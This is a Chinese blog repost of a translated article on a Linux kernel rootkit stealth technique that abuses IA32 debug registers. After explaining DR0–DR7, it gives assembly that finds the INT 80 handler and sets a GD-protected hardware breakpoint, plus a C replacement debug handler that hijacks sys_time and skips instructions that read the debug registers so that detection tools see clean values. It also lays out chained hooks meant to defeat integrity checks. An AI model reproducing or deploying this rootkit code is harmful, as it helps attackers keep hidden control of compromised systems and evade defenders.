玩转调试机制——终极隐藏之道

来源:http://bbs.2cto.com/simple/?t97534.html


引言


        近几年来,出现了很多可以在系统被黑过后,仍然保持持久化的技术和方法。其中大多将焦点关注于系统调用表,还有的集中于修改中断处理句柄,剩下的则在VFS(虚拟文件系统)的层面上打主意。然而,这些方法都是显式的修改了底层的操作系统,很容易就可以被检测出来。
本文,我们将展示一种利用普通的x86特征,更进一步说是调试机制的技术,在系统中隐藏内核rootkit的方法。它在任何兼容IA32的平台下都可以正常工作,在后面的叙述中,我们将详细阐述它在Linux操作系统下的具体工作原理。有了它,我们甚至根本不需要去碰那些“经典”的钩挂对象,就可以自由截取系统的正常控制流程。它在隐藏自己踪迹时表现的相当完美,没人能够发现我们的存在。
当文章提到“调试器”时,我们意指的是IA32下的调试机制,它仅能从ring0权限访问。注意,处于用户态的调试器用不到这些功能,只有内核级调试器才能接触到。



调试器

        “IA32体系结构为代码调试,执行监视和处理器性能评估提供了扩展的调试功能。它们对应用软件,系统软件乃至多任务操作系统的调试都有着非凡的意义。”
为了让一切都简便起来,Intel引入了一种管理调试进程的内在机制。该机制通过一组特殊的寄存器(调试寄存器,CR0..CR7)来实现内存访问时的硬件断点设置。一旦执行流程触碰到标记了断点的内存地址,它就将随后的控制权交给调试中断处理句柄(INT 1),后者调用预置的do_debug()函数(位于/i386/kernel/traps.c文件)产生对应的异常信号,并作出处理。
     调试支持的相关属性可以通过访问调试寄存器(DR0到DR7)和模式指定寄存器(model-specific registers,MSRs)得到。鉴于本文的主题和目的,我们只会涉及调试寄存器的部分。在这些寄存器中保存着内存单元和IO位置的地址,也就是我们通常所说的断点。严格说来,断点是程序员或者系统设计者希望程序能够暂停执行的一个位置,在这里调试软件能够检查到处理器的一组状态集合。它可以是程序中的一个用户选定位置,内存中的一块数据存储区域,或者一个特定的IO端口。
断点是通过一种特殊的内存或IO访问方式来指定的,如内存或IO的读写操作等。当访问到具有断点标识的内存和IO端口时,就会产生一个调试异常(#DB)。调试寄存器可以支持指令断点和数据断点两种模式,而IA32体系中P6系列处理器引入的MSR寄存器则具有更强的功能,可以监控分支,中断或者异常处理时的代码执行情况。



调试寄存器

        Intel处理器提供了8个调试寄存器以支持处理器的调试行为,可以通过MOV指令来读取或者写入这些寄存器的值。它们可以作为一条指令的目的操作数,但都属于是特权资源,因此只能在实地址模式、SMM模式和当前特权级为ring0的保护模式下访问。如果从这以外的模式来访问的话,有可能会产生一个通用保护异常。
        调试寄存器的基本功能是设置和监控编号为0至3的1到4个断点。通过DR6和DR7这两个特殊的寄存器,调试机制允许我们来管理断点信息。对于每一个断点设置,通过调试寄存器都可以得到下面的一些信息。
        断点发生时的线性地址
        断点位置的长度信息
        在产生了调试异常的地址时需要执行的动作
        断点是否被允许
        调试异常产生时断点条件是否满足

调试地址寄存器
        DR0至DR3都是所谓的调试地址寄存器,每个都保存着对应断点的32位线性地址。因此断点比较的操作是发生在物理地址转换之前的。

调试寄存器DR4和DR5
        在允许调试扩展的情况下(控制寄存器CR4中的DE标志被置位),DR4和DR5是保留使用的,任何对它们的访问都可能导致一个无效操作数异常。而当DE没有置位时,它们两个是DR6和DR7的镜像。

调试状态寄存器DR6

        这个特殊的寄存器用来报告上一次调试异常产生时的调试信息,从其中的一些标志位可以得到我们所需的各种信息。
        B0~B3(bits 0..3)指出断点条件是否得到满足。置位时,则表示是对应的DR0~DR3断点引发了调试陷阱。当我们设置了DR7中LENn和R/Wn的对应标志位时,这些标志才能被正确设置。有些情况下,不管DR7寄存器中的Gn和Ln如何设置,是否允许断点,它们都会被置位。
        BD(bit 13)(调试寄存器访问检测),指明指令流中的下一条指令将会访问到某个调试寄存器(DR0..DR7)。注意,只有当调试控制寄存器DR7中的General Detect(GD)标志置位时,它才会生效。
BS(bit 14)(单步),置位时指明调试异常是在单步执行模式触发的。
BT(bit 15)(任务切换),当目标任务TSS中的调试陷阱标志置位后,该位置位表明调试异常是由任务切换导致的,。
        注意,处理器从来不会清空DR6寄存器中的数据。

调试控制寄存器DR7
        DR7具有开启或关闭断点,以及设置断点条件的功能。具体来说,它的标志位可以控制以下的功能。
L0~L3(bits 0, 2, 4, 6),开启局部断点。置位时,开启当前任务相关断点的断点条件。
当检测到断点条件,对应的Ln位置位,随即产生调试异常。处理器在任务切换时会自动清空这些标志,以避免在新任务中出现任何不必要的断点。
G0~G3(bits 1, 3, 5, 7),开启全局断点。置位时开启所有任务相关断点的断点条件。
当检测到断点条件时,对应的Gn位置位,产生调试异常。处理器在任务切换的时候不会清空其标志位,允许断点可以出现在所有的任务中。
LE和GE(bits 8和9),开启局部和全局精确断点。允许处理器能够精确定位到引发数据断点条件的那条指令。但是P6系列的处理器不支持此功能。
GD(bit 13),开启全局检测功能。置位时,开启调试寄存器的保护功能,即使是MOV指令,任何对DR寄存器访问都将产生一个调试异常,这样可以保证在必要时调试器对DRx的完全控制。当检测该位置位时,调试状态寄存器DR6中的BD也会被置位。
R/W0~R/W3(bits 16,17,20,21,24,25,28和 29)),读写标志,指明对应断点的断点条件,是读/写操作断点,执行断点或是I/O端口断点。
LEN0~LEN3 (bits 18,19,22,23,26,27,30和31),长度标志,控制断点长度。



神奇之处

        好的,刚才我们对IA32下的调试机制做了一个大致了解,那你可能还在纳闷我刚才吹嘘的终极隐藏大法又在哪里呢?别急,我们现在已经掌握了一些关键的技术要点:我们可以在一个内存地址上下断点,只要执行流程遇上我们的断点,就会重定向到INT 1中断。这样就足够了,如果我们用自己写的函数替换掉现有的调试处理句柄,或者其中的一个底层处理函数,会出现什么情况呢?可以看看entry.S中的代码:

        ENTRY(debug)
        pushl $0
        pushl $ SYMBOL_NAME(do_debug)
        jmp error_code

        真正的调试句柄是一个C函数——traps.c 文件中定义的do_debug()。好的,我想我们可以给INT 1的处理句柄打个补丁,自行调用do_debug(),或者保持IDT中的表项不变,让系统的调试句柄来调用我们的do_debug()。显然,我们需要监控一些系统参数什么的,并将控制权传回给系统中真实的do_debug()函数。但是这里问题又出现了,我们到底要监控的是哪些参数呢?请看下文分解~



劫持系统调用表sys_call_table[]

        现在,我们首先需要了解一下如何利用读写和执行等操作,在内中截取系统调用表的方法。我们的目标可以是INT 80的处理程序,也可以是系统调用的表的地址,这二者在攻击后获得的效果上是相同的。攻击成功后,每当操作系统调用起系统调用函数,就会执行我们放置好的处理代码。我们在这里有两个选择:A)在IDT中直接劫持INT 80处理句柄。或者B)在内存中劫持sys_call_table[]的实际地址。两种方法都可以达到目的,这里我们选了前者。下面的函数将返回INT 80处理句柄的地址。

        get_idt_entry:
                sidt    idtr
                movl    idtr+2, %ebx
                leal    (%ebx, %eax, 8), %ebx
                movw    (%ebx), %cx
                roll    $16, %ecx
                movw    0x6(%ebx), %cx
                roll    $16, %ecx
                movl    %ecx, %eax
                ret

找到地址之后,我们就可以设置一个断点:

        set_bpm:
                movl    $0x80, %eax
                call    get_idt_entry
                movl    %eax, %dr0
                xorl    %eax, %eax
                orl     $0x2080, %eax
                movl    %eax, %dr7
                ret

        如你所见,set_bpm()函数将INT 80处理函数的地址载入到DR0寄存器,并设置了DR7中包括GD在内的一系列标志位,以允许监控是谁以及以何原因访问了这个调试寄存器。GD标志位非常重要,它可以在任何MOV指令访问调试寄存器之前发出一个调试异常。这意味着,如果某人尝试要读取或写入调试寄存器,控制权就会转移到我们设置好的程序中。那么,我们就可以事先知道是谁,调试器或者其他邪恶的工具是否在访问调试寄存器。这给了我们掩盖证据的时间,撤销所有操作,等待危险时期过去再卷土重来。我们也可以简单的跳过访问调试寄存器的那几条指令,不过更高明的办法是向用户呈现出一个“干净”的寄存器,等待一段时间,再重新HOOK原来所需要的东西。这样,最好我们来实现一个代码模拟器(code emulator),分析访问调试寄存器的指令类型,以此决定是先清空调试寄存器,一段时间后恢复回来;还是增加指令计数,简单的忽略掉这些指令。不管如何,两种方法都是可以的。



处理程序

        现在我们还没有修改过系统调用表或者INT 80处理程序中的任何部分,就可以达到控制流重定向的目的了。但是,我们的处理程序究竟要处理什么呢?首先,需要检测的是%eax寄存器,这里存放的是系统调用编号。我们可以伪造一个自己的系统调用,并植入操作系统。处理程序可以简单的表示为下面的形式:

asmlinkage void new_do_debug(struct pt_regs * regs, long error_code)
{

          unsigned long condition;
        unsigned long mask = 0x2008;

        __asm__ __volatile__("movl %%db6,%0" : "=r" (condition));

          if (condition & BD_FLAG) { /* someone is r/w the registers */
            condition &= ~BD_FLAG;
            __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition));
            regs->eip += 3;
            __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
        }
        
        if (condition & DR_TRAP0) {
            if (regs->eax == __NR_time)
                sys_call_table[__NR_time] = hacked_time;
            
            if (regs->eflags & VM_MASK) {
                (*old_do_debug)(regs,error_code);
                __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
            }

            condition &= ~DR_TRAP0;
            __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition));
            __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
            regs->eflags |= X86_EFLAGS_RF;
        }
        else
        {
            (*old_do_debug)(regs, error_code);
            __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
        }

        return;
}

        首先,我们取得DR6寄存器中的状态值,查看是谁触发了我们的处理程序。如果当前的控制流程来自于我们放置的断点,那就接着比较%eax和待劫持的系统调用编号,在这里是sys_time()。上面的例子由于时间和空间的限制,我们直接修改了系统调用表——sys_call_table[]。不过不用担心,hacked_time()一旦执行,将会把系统调用表改回到先前的初始状态。

asmlinkage long hacked_time(int *tloc)
{
        sys_call_table[__NR_time] = original_time;
        printk("<1>WE changed it!!\n");
        return original_time(tloc);
}

        当然,也有其他不用触碰系统调用表的方法存在。不过hacked_time()在最后会将系统调用表完璧归赵,整个过程的发生和结束还不到1微秒的时间,因此这也算是一种比较便捷的途径了吧。
        还有一个更好的办法,就是根据调用编号分析系统调用的参数。当我们的处理程序在运行时,这些参数正好存放在%eax寄存器里面。我们可以通过修改调用参数劫持系统调用函数,这样就不必去管真实的系统调用表了,而是以我们创建的“虚拟”的系统调用表在执行。
        我们已经知道如何在内存中下断点,开启断点了;也学会了如何不修改INT 80的处理函数、系统调用函数或者系统调用表本身来劫持正常的控制流程。你可以称这是一种“狡猾”的技术,我们仍然修改了INT 1处理函数,至少,我们修改了do_debug()函数,隐蔽性还是有所欠缺。不过,接着往下读就是了~



障眼法

        我们已经知道了那么多美妙的东西,不仅控制了系统,而且也没有人能够发现我们意在修改内核的企图。幸亏有GD/BD标志位的存在,才掩盖了我们所有行为的踪迹和秘密。而如果有人此时要查看调试寄存器的话,我们只要用(regs->eip +=3)这个小技巧就可以轻松摆平他们。但如果有人很讨厌,要检查IDT的完整性怎么办?或者调试器乃至其他的第三方工具要用自己的INT 1中断处理句柄来替换,又怎么办?这是不是意味着我们就无能为力了呢?现在看来不得不这样了~
        但是请等一下,我们的救星DR6和DR7来了,又一次拯救我们于水火。按照下面的步骤就可以确保万无一失:        
        - 设置自己的INT 1处理句柄
        - 设置一个监控INT 80地址的断点
        - 设置第二个断点来监控我们的处理程序的地址
        你可能会说,哪有这么简单啊~不过确实,事实正是如此~我们实际上根本没有碰到内核的一根毫毛。在我们理想化的处理句柄内部,代码模拟器检测试图访问调试寄存器的指令类型,判断是否触发了我们设置在INT 80或INT 1上的断点。前面解释了劫持INT 80的方法和步骤,这次我们来看INT 1。在INT 1或者do_debug()函数上下了第二个断点,确保我们可以优先知道是否有人正在尝试检测我们唯一修改过的那一块内核地址。最好的处理方法就是跳转回原始的处理函数。就像这样,当某些工具尝试在IDT中检测我们存在的时候(我倒不认为有什么工具会这样做,因为white hat们觉得这根本没有必要),我们可以给他们看那些未修改过的数据。我们称这为一种“深层掩盖”(deep cover)的模式。
        那这又是否意味着我们失去了对内核的控制权呢?当然不是,我们仍然可以再次做回老大,几纳秒过后,重新安装rootkit就可以了。这正是本节所起的标题——障眼法的意义之所在,每次他们想要查看信息的时候,总是观察不到那些最关键的数据。
        这项技术的应用范围很广,在对付调试器或者类似工具想放置自己的INT 1处理句柄时尤为好用。仔细想想,我们检测到非法企图,并把一切打理的和正常情况下一模一样。接着他们放置了自己的HOOK,我们像处理INT 1句柄那样又劫持了他们的HOOK。当他们想检测自己踪迹的时候,就给他们看一切正常的景象,这就构成了一组链式的HOOK。当我第一次发现这项技术的时候,已经很吃惊了,而当我意识到它真正作用的时候,更是差点惊呆了。这就是终极的隐藏之道,黑客们的圣杯啊~



结束语

        这项技术暗中发现并被使用已达8年之久,其美妙之处在于:这是IA32的基本特征之一,如果不通过去除调试机制的方法,那抵御这种攻击将永远只是纸上谈兵。虽然我在这里公开了这项技术的具体实现细节,但它早已不是一个所谓的秘密。然而,我却非常怀疑早年那些将此泄露出去的人们,他们是否知晓这项技术所具有的重大意义。它能做什么,具有什么样的能力,故我在这里准备帮助他们和世界上的其他愿意自我提高的黑客们,阐明这项技术的具体实现细节和意义。

        正如你所见,这是一项非常强有力的技术,允许你在目标系统中获得完全的隐蔽性能。而它作为处理器的基础特性之一,也意味着在IA32平台下的任何操作系统上都可以正常运行。虽然它已经使用很久了,但不幸的是,至今仍然没有可行的办法可以检测出该技术实例的存在~那这其中是喜是悲,就大家自己去体会吧~^_^


附一篇关于这个的论文:http://download.csdn.net/detail/lucien_cc/4284660


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值